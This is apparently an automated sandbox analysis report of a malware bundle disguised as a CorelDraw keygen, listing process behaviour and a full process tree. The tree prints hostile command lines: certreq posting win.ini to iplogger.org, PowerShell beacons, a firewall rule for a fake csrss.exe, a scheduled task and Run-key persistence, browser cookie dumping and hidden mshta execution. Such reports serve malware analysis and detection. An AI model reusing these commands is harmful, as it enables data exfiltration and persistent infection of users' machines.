msiexec.exe Token: SeSecurityPrivilege 3216 msiexec.exe Token: SeTakeOwnershipPrivilege 3216 msiexec.exe Token: SeLoadDriverPrivilege 3216 msiexec.exe Token: SeSystemProfilePrivilege 3216 msiexec.exe Token: SeSystemtimePrivilege 3216 msiexec.exe Token: SeProfSingleProcessPrivilege 3216 msiexec.exe Token: SeIncBasePriorityPrivilege 3216 msiexec.exe Token: SeCreatePagefilePrivilege 3216 msiexec.exe Token: SeCreatePermanentPrivilege 3216 msiexec.exe Token: SeBackupPrivilege 3216 msiexec.exe Token: SeRestorePrivilege 3216 msiexec.exe Token: SeShutdownPrivilege 3216 msiexec.exe Token: SeDebugPrivilege 3216 msiexec.exe Token: SeAuditPrivilege 3216 msiexec.exe Token: SeSystemEnvironmentPrivilege 3216 msiexec.exe Token: SeChangeNotifyPrivilege 3216 msiexec.exe Token: SeRemoteShutdownPrivilege 3216 msiexec.exe Token: SeUndockPrivilege 3216 msiexec.exe Token: SeSyncAgentPrivilege 3216 msiexec.exe Token: SeEnableDelegationPrivilege 3216 msiexec.exe Token: SeManageVolumePrivilege 3216 msiexec.exe Token: SeImpersonatePrivilege 3216 msiexec.exe Token: SeCreateGlobalPrivilege 3216 msiexec.exe Token: SeCreateTokenPrivilege 3216 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3216 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3216 msiexec.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 4020 Setup.exe 4052 C0CA61A12E4C8B38.exe 1452 C0CA61A12E4C8B38.exe 1420 firefox.exe 3844 1614890538478.exe 2924 firefox.exe 1800 1614890543275.exe 2060 firefox.exe 204 1614890549088.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3932 wrote to memory of 184 3932 CorelDraw_keygen_by_KeygenNinja.exe 78 PID 3932 wrote to memory of 184 3932 CorelDraw_keygen_by_KeygenNinja.exe 78 PID 3932 wrote to memory of 184 3932 CorelDraw_keygen_by_KeygenNinja.exe 78 PID 184 wrote to memory of 3124 184 cmd.exe 81 PID 184 wrote to memory of 3124 184 cmd.exe 81 PID 184 wrote to memory of 3124 184 cmd.exe 81 PID 184 wrote to memory of 2464 184 cmd.exe 82 PID 184 wrote to memory of 2464 184 cmd.exe 82 PID 184 wrote to memory of 2464 184 cmd.exe 82 PID 184 wrote to memory of 1444 184 cmd.exe 83 PID 184 wrote to memory of 1444 184 cmd.exe 83 PID 184 wrote to memory of 1444 184 cmd.exe 83 PID 184 wrote to memory of 2068 184 cmd.exe 84 PID 184 wrote to memory of 2068 184 cmd.exe 84 PID 184 wrote to memory of 2068 184 cmd.exe 84 PID 3124 wrote to memory of 784 3124 keygen-pr.exe 85 PID 3124 wrote to memory of 784 3124 keygen-pr.exe 85 PID 3124 wrote to memory of 784 3124 keygen-pr.exe 85 PID 2068 wrote to memory of 2572 2068 keygen-step-4.exe 86 PID 2068 wrote to memory of 2572 2068 keygen-step-4.exe 86 PID 2068 wrote to memory of 2572 2068 keygen-step-4.exe 86 PID 1444 wrote to memory of 504 1444 keygen-step-3.exe 87 PID 1444 wrote to memory of 504 1444 keygen-step-3.exe 87 PID 1444 wrote to memory of 504 1444 keygen-step-3.exe 87 PID 784 wrote to memory of 4068 784 key.exe 89 PID 784 wrote to memory of 4068 784 key.exe 89 PID 784 wrote to memory of 4068 784 key.exe 89 PID 504 wrote to memory of 4048 504 cmd.exe 90 PID 504 wrote to memory of 4048 504 cmd.exe 90 PID 504 wrote to memory of 4048 504 cmd.exe 90 PID 2572 wrote to memory of 1408 2572 file.exe 91 PID 2572 wrote to memory of 1408 2572 file.exe 91 PID 2572 wrote to memory of 1408 2572 file.exe 91 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 1408 wrote to memory of 2920 1408 DE9E.tmp.exe 92 PID 2572 wrote to memory of 1840 2572 file.exe 93 PID 2572 wrote to memory of 1840 2572 file.exe 93 PID 2572 wrote to memory of 1840 2572 file.exe 93 PID 1840 wrote to memory of 3540 1840 cmd.exe 96 PID 1840 wrote to memory of 3540 1840 cmd.exe 96 PID 1840 wrote to memory of 3540 1840 cmd.exe 96 PID 2068 wrote to memory of 4020 2068 keygen-step-4.exe 95 PID 2068 wrote to memory of 4020 2068 keygen-step-4.exe 95 PID 2068 wrote to memory of 4020 2068 keygen-step-4.exe 95 PID 4020 wrote to memory of 3216 4020 Setup.exe 97 PID 4020 wrote to memory of 3216 4020 Setup.exe 97 PID 4020 wrote to memory of 3216 4020 Setup.exe 97 PID 3904 wrote to memory of 1392 3904 msiexec.exe 99 PID 3904 wrote to memory of 1392 3904 msiexec.exe 99 PID 3904 wrote to memory of 1392 3904 msiexec.exe 99 PID 4020 wrote to memory of 4052 4020 Setup.exe 100 PID 4020 wrote to memory of 4052 4020 Setup.exe 100 PID 4020 wrote to memory of 4052 4020 Setup.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\CorelDraw_keygen_by_KeygenNinja.exe"C:\Users\Admin\AppData\Local\Temp\CorelDraw_keygen_by_KeygenNinja.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:184 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:4068
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:2464
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:4048
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Users\Admin\AppData\Roaming\DE9E.tmp.exe"C:\Users\Admin\AppData\Roaming\DE9E.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Users\Admin\AppData\Roaming\DE9E.tmp.exe"C:\Users\Admin\AppData\Roaming\DE9E.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2920
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:3540
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3216
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:4052 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:1420
-
-
C:\Users\Admin\AppData\Roaming\1614890538478.exe"C:\Users\Admin\AppData\Roaming\1614890538478.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614890538478.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3844
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:2924
-
-
C:\Users\Admin\AppData\Roaming\1614890543275.exe"C:\Users\Admin\AppData\Roaming\1614890543275.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614890543275.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1800
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:2060
-
-
C:\Users\Admin\AppData\Roaming\1614890549088.exe"C:\Users\Admin\AppData\Roaming\1614890549088.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614890549088.txt"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:204
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:4792
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:5160
-
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:1452 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2480
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:3384
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵PID:1732
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:3408
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"5⤵PID:2760
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:2196
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"4⤵
- Executes dropped EXE
PID:2924 -
C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3672 -
C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe" 1 3.1614890328.604145588626a 1016⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3688 -
C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TM2YEMXGKR\multitimer.exe" 2 3.1614890328.604145588626a7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2256 -
C:\Users\Admin\AppData\Local\Temp\v0353qixd5b\app.exe"C:\Users\Admin\AppData\Local\Temp\v0353qixd5b\app.exe" /8-238⤵PID:4264
-
C:\Users\Admin\AppData\Local\Temp\v0353qixd5b\app.exe"C:\Users\Admin\AppData\Local\Temp\v0353qixd5b\app.exe" /8-239⤵PID:4212
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵PID:5288
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵PID:3620
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵PID:7124
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zk4yenaeljp\vict.exe"C:\Users\Admin\AppData\Local\Temp\zk4yenaeljp\vict.exe" /VERYSILENT /id=5358⤵PID:4280
-
-
C:\Users\Admin\AppData\Local\Temp\huo2wyuhwoe\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\huo2wyuhwoe\Setup3310.exe" /Verysilent /subid=5778⤵PID:4252
-
-
C:\Users\Admin\AppData\Local\Temp\3k4p0prkcrx\aje0igam2d2.exe"C:\Users\Admin\AppData\Local\Temp\3k4p0prkcrx\aje0igam2d2.exe" 57a764d042bf88⤵PID:4240
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\SZPL8V2OQD\SZPL8V2OQ.exe" 57a764d042bf8 & exit9⤵PID:5900
-
C:\Program Files\SZPL8V2OQD\SZPL8V2OQ.exe"C:\Program Files\SZPL8V2OQD\SZPL8V2OQ.exe" 57a764d042bf810⤵PID:5212
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vx4owjzqwwm\drqcylprpwf.exe"C:\Users\Admin\AppData\Local\Temp\vx4owjzqwwm\drqcylprpwf.exe" /ustwo INSTALL8⤵PID:4228
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6529⤵
- Program crash
PID:4636
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6689⤵
- Program crash
PID:5176
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6769⤵
- Program crash
PID:5316
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 8049⤵
- Program crash
PID:5468
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 8809⤵
- Program crash
PID:5768
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 9569⤵
- Program crash
PID:6040
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 11329⤵
- Program crash
PID:4864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 12049⤵
- Program crash
PID:5320
-
-
-
C:\Users\Admin\AppData\Local\Temp\qylcuenbt5i\safebits.exe"C:\Users\Admin\AppData\Local\Temp\qylcuenbt5i\safebits.exe" /S /pubid=1 /subid=4518⤵PID:4216
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 7169⤵
- Program crash
PID:4240
-
-
-
C:\Users\Admin\AppData\Local\Temp\3ilo2nvqe40\do0dlhfcogp.exe"C:\Users\Admin\AppData\Local\Temp\3ilo2nvqe40\do0dlhfcogp.exe" testparams8⤵PID:4204
-
C:\Users\Admin\AppData\Roaming\xeykhmfjdx2\kpqmbjd5jig.exe"C:\Users\Admin\AppData\Roaming\xeykhmfjdx2\kpqmbjd5jig.exe" /VERYSILENT /p=testparams9⤵PID:5420
-
C:\Users\Admin\AppData\Local\Temp\is-I6JM2.tmp\kpqmbjd5jig.tmp"C:\Users\Admin\AppData\Local\Temp\is-I6JM2.tmp\kpqmbjd5jig.tmp" /SL5="$20258,329392,58368,C:\Users\Admin\AppData\Roaming\xeykhmfjdx2\kpqmbjd5jig.exe" /VERYSILENT /p=testparams10⤵PID:5504
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1oaqqnkhohv\wrucedjazmc.exe"C:\Users\Admin\AppData\Local\Temp\1oaqqnkhohv\wrucedjazmc.exe" /VERYSILENT8⤵PID:4168
-
-
C:\Users\Admin\AppData\Local\Temp\zm0w2xurrgy\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\zm0w2xurrgy\askinstall24.exe"8⤵PID:4160
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:5232
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:5556
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\s3aj4g15354\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\s3aj4g15354\chashepro3.exe" /VERYSILENT8⤵PID:4788
-
C:\Users\Admin\AppData\Local\Temp\is-V81DM.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-V81DM.tmp\chashepro3.tmp" /SL5="$801D0,1437605,58368,C:\Users\Admin\AppData\Local\Temp\s3aj4g15354\chashepro3.exe" /VERYSILENT9⤵PID:4812
-
C:\Program Files (x86)\JCleaner\1.exe"C:\Program Files (x86)\JCleaner\1.exe"10⤵PID:4880
-
C:\Program Files (x86)\JCleaner\1.exe"{path}"11⤵PID:5840
-
-
-
C:\Program Files (x86)\JCleaner\2.exe"C:\Program Files (x86)\JCleaner\2.exe"10⤵PID:4908
-
C:\Program Files (x86)\JCleaner\2.exe"{path}"11⤵PID:5188
-
-
C:\Program Files (x86)\JCleaner\2.exe"{path}"11⤵PID:5364
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1HLzs7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:4976
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1HLzs7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:2052
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵PID:5004
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:4996
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:4496
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1HLzs7"10⤵PID:4988
-
-
C:\Program Files (x86)\JCleaner\3.exe"C:\Program Files (x86)\JCleaner\3.exe"10⤵PID:4968
-
C:\Program Files (x86)\JCleaner\3.exe"{path}"11⤵PID:6108
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1jduf7"10⤵PID:4856
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rqymbyhtfnb\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\rqymbyhtfnb\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:2460
-
C:\Users\Admin\AppData\Local\Temp\is-NHOPC.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-NHOPC.tmp\IBInstaller_97039.tmp" /SL5="$303A2,14437942,721408,C:\Users\Admin\AppData\Local\Temp\rqymbyhtfnb\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:4576
-
C:\Users\Admin\AppData\Local\Temp\is-J8UCF.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-J8UCF.tmp\{app}\chrome_proxy.exe"10⤵PID:4892
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵PID:4964
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gx4hahwokgt\vpn.exe"C:\Users\Admin\AppData\Local\Temp\gx4hahwokgt\vpn.exe" /silent /subid=4828⤵PID:4712
-
C:\Users\Admin\AppData\Local\Temp\is-E862V.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-E862V.tmp\vpn.tmp" /SL5="$103D8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\gx4hahwokgt\vpn.exe" /silent /subid=4829⤵PID:4820
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:4536
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:4740
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:3484
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:5088
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:7112
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:5012
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
PID:3628 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:1492
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:3900
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2136
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
- Executes dropped EXE
PID:1684 -
C:\ProgramData\793749.8"C:\ProgramData\793749.8"5⤵
- Executes dropped EXE
PID:3536
-
-
C:\ProgramData\2736301.30"C:\ProgramData\2736301.30"5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3576 -
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵
- Executes dropped EXE
PID:4100
-
-
-
C:\ProgramData\5620427.61"C:\ProgramData\5620427.61"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:188
-
-
C:\ProgramData\8190226.90"C:\ProgramData\8190226.90"5⤵
- Executes dropped EXE
PID:3528 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn UpdateWindows /tr "C:\Users\Admin\AppData\Roaming\WinHost\8190226.90" /st 20:46 /du 23:59 /sc daily /ri 1 /f6⤵
- Creates scheduled task(s)
PID:4676
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2820 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
PID:2584
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:4868
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AF4A8240D18ADE0D6F799DB8710606D1 C2⤵
- Loads dropped DLL
PID:1392
-
-
C:\Users\Admin\AppData\Local\Temp\is-8QREI.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-8QREI.tmp\Setup3310.tmp" /SL5="$A0048,802346,56832,C:\Users\Admin\AppData\Local\Temp\huo2wyuhwoe\Setup3310.exe" /Verysilent /subid=5771⤵PID:4416
-
C:\Users\Admin\AppData\Local\Temp\is-F8OGJ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-F8OGJ.tmp\Setup.exe" /Verysilent2⤵PID:5964
-
C:\Users\Admin\AppData\Local\Temp\is-FLEV8.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-FLEV8.tmp\Setup.tmp" /SL5="$2049A,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-F8OGJ.tmp\Setup.exe" /Verysilent3⤵PID:5984
-
C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\ProPlugin.exe" /Verysilent4⤵PID:5752
-
C:\Users\Admin\AppData\Local\Temp\is-SL3EM.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-SL3EM.tmp\ProPlugin.tmp" /SL5="$A01D6,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\ProPlugin.exe" /Verysilent5⤵PID:5788
-
C:\Users\Admin\AppData\Local\Temp\is-AHTAA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AHTAA.tmp\Setup.exe"6⤵PID:4928
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"7⤵PID:4628
-
C:\Windows\regedit.exeregedit /s chrome.reg8⤵
- Runs .reg file with regedit
PID:5716
-
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe8⤵
- Kills process with taskkill
PID:5016
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\curl.execurl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.51&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k8⤵PID:4924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat8⤵PID:964
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)9⤵PID:5260
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX2\chrome64.bat" h"10⤵PID:5036
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"11⤵PID:5072
-
